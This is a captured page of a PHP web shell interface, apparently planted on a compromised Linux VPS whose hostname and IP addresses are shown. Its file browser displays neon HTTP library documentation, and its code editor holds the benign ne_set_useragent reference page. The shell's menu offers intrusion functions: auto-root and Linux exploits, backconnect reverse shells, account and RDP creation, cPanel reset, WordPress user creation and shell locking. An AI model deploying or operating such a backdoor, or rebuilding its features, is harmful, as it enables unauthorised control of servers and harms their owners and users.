Linux vps-4302913.novaexata.com.br 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.14
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
neon-0.30.0 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
api.html
2.46
KB
-rw-r--r--
biblio.html
4.59
KB
-rw-r--r--
compliance.html
5.09
KB
-rw-r--r--
features.html
4.59
KB
-rw-r--r--
index.html
10.81
KB
-rw-r--r--
intro.html
3.52
KB
-rw-r--r--
ref.html
7.36
KB
-rw-r--r--
refalloc.html
4.87
KB
-rw-r--r--
refauth.html
5.84
KB
-rw-r--r--
refbuf.html
3.46
KB
-rw-r--r--
refbufapp.html
4.97
KB
-rw-r--r--
refbufcr.html
3.24
KB
-rw-r--r--
refbufdest.html
3.94
KB
-rw-r--r--
refbufutil.html
3.84
KB
-rw-r--r--
refcert.html
5.8
KB
-rw-r--r--
refclicert.html
7.8
KB
-rw-r--r--
refconfig.html
5.06
KB
-rw-r--r--
referr.html
4.26
KB
-rw-r--r--
reffeat.html
4.02
KB
-rw-r--r--
refgetst.html
3.33
KB
-rw-r--r--
refi18n.html
3.75
KB
-rw-r--r--
refiaddr.html
8.93
KB
-rw-r--r--
refneon.html
12.31
KB
-rw-r--r--
refopts.html
6.22
KB
-rw-r--r--
refproxy.html
9.04
KB
-rw-r--r--
refreq.html
8.51
KB
-rw-r--r--
refreqbody.html
4.27
KB
-rw-r--r--
refreqflags.html
4.35
KB
-rw-r--r--
refreqhdr.html
3.71
KB
-rw-r--r--
refresolve.html
7.31
KB
-rw-r--r--
refresphdr.html
5.13
KB
-rw-r--r--
refsess.html
6.69
KB
-rw-r--r--
refsessflags.html
5.13
KB
-rw-r--r--
refshave.html
2.82
KB
-rw-r--r--
refsockinit.html
6.57
KB
-rw-r--r--
refsslca.html
3.89
KB
-rw-r--r--
refsslcert2.html
3.01
KB
-rw-r--r--
refsslcertio.html
5.48
KB
-rw-r--r--
refssldname.html
3.78
KB
-rw-r--r--
refsslvfy.html
7.1
KB
-rw-r--r--
refstatus.html
4.17
KB
-rw-r--r--
reftok.html
3.94
KB
-rw-r--r--
refvers.html
3.3
KB
-rw-r--r--
refxml.html
2.97
KB
-rw-r--r--
security.html
6.81
KB
-rw-r--r--
using.html
4.74
KB
-rw-r--r--
xml.html
11.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : refopts.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>ne_set_useragent</title><link rel="stylesheet" type="text/css" href="../manual.css"><meta name="generator" content="DocBook XSL Stylesheets V1.78.1"><link rel="home" href="index.html" title="neon HTTP/WebDAV client library"><link rel="up" href="ref.html" title="neon API reference"><link rel="prev" href="refresphdr.html" title="ne_get_response_header"><link rel="next" href="refreqflags.html" title="ne_set_request_flag"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">ne_set_useragent</th></tr><tr><td width="20%" align="left"><a accesskey="p" href="refresphdr.html">Prev</a> </td><th width="60%" align="center">neon API reference</th><td width="20%" align="right"> <a accesskey="n" href="refreqflags.html">Next</a></td></tr></table><hr></div><div class="refentry"><a name="refopts"></a><div class="titlepage"></div><div class="refnamediv"><h2>Name</h2><p>ne_set_useragent, ne_set_read_timeout, ne_set_connect_timeout, ne_get_scheme, ne_get_server_hostport — common properties for HTTP sessions</p></div><div class="refsynopsisdiv"><h2>Synopsis</h2><div class="funcsynopsis"><pre class="funcsynopsisinfo">#include <ne_session.h></pre><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">void <b class="fsfunc">ne_set_useragent</b>(</code></td><td>ne_session *<var class="pdparam">session</var>, </td></tr><tr><td> </td><td>const char *<var class="pdparam">product</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer"> </div><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">void <b class="fsfunc">ne_set_read_timeout</b>(</code></td><td>ne_session *<var class="pdparam">session</var>, </td></tr><tr><td> </td><td>int <var class="pdparam">timeout</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer"> </div><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">void <b class="fsfunc">ne_set_connect_timeout</b>(</code></td><td>ne_session *<var class="pdparam">session</var>, </td></tr><tr><td> </td><td>int <var class="pdparam">timeout</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer"> </div><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">const char *<b class="fsfunc">ne_get_scheme</b>(</code></td><td>ne_sesssion *<var class="pdparam">session</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer"> </div><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">const char *<b class="fsfunc">ne_get_server_hostport</b>(</code></td><td>ne_sesssion *<var class="pdparam">session</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer"> </div></div></div><div class="refsect1"><a name="idm140368849976592"></a><h2>Description</h2><p>The <code class="literal">User-Agent</code> request header is used to identify the software which generated the request for statistical or debugging purposes. neon does not send a <code class="literal">User-Agent</code> header unless a call is made to the <code class="function">ne_set_useragent</code>. <code class="function">ne_set_useragent</code> must be passed a product string conforming to RFC2616's product token grammar; of the form <code class="literal">"Product/Version"</code>.</p><p>When neon reads from a socket, by default the read operation will time out after 60 seconds, and the request will fail giving an <span class="errorcode">NE_TIMEOUT</span> error. To configure this timeout interval, call <code class="function">ne_set_read_timeout</code> giving the desired number of seconds as the <code class="parameter">timeout</code> parameter.</p><p>When a connection is being established to a server, normally only the system's TCP timeout handling will apply. To configure a specific (and probably shorter) timeout, the <code class="function">ne_set_connect_timeout</code> can be used, giving the desired number of seconds as the <code class="parameter">timeout</code> parameter. If <code class="literal">0</code> is passed, then the default behaviour of using the system TCP timeout will be used.</p><p>The scheme used to initially create the session will be returned by <code class="function">ne_get_scheme</code>.</p><p>The hostport pair with which the session is associated will be returned by the <code class="function">ne_get_server_hostport</code>; for example <code class="literal">www.example.com:8080</code>. Note that the <code class="literal">:port</code> will be omitted if the default port for the scheme is used.</p></div><div class="refsect1"><a name="idm140368849963552"></a><h2>Examples</h2><p>Set a user-agent string:</p><pre class="programlisting">ne_session *sess = ne_session_create(...); ne_set_useragent(sess, "MyApplication/2.1");</pre><p>Set a 30 second read timeout:</p><pre class="programlisting">ne_session *sess = ne_session_create(...); ne_set_read_timeout(sess, 30);</pre></div><div class="refsect1"><a name="idm140368849960576"></a><h2>See also</h2><p><a class="xref" href="refsess.html#ne_session_create">ne_session_create</a>, <a class="xref" href="refsessflags.html#ne_set_session_flag">ne_set_session_flag</a>.</p></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="refresphdr.html">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="ref.html">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="refreqflags.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">ne_get_response_header </td><td width="20%" align="center"><a accesskey="h" href="index.html">Home</a></td><td width="40%" align="right" valign="top"> ne_set_request_flag</td></tr></table></div></body></html>
Close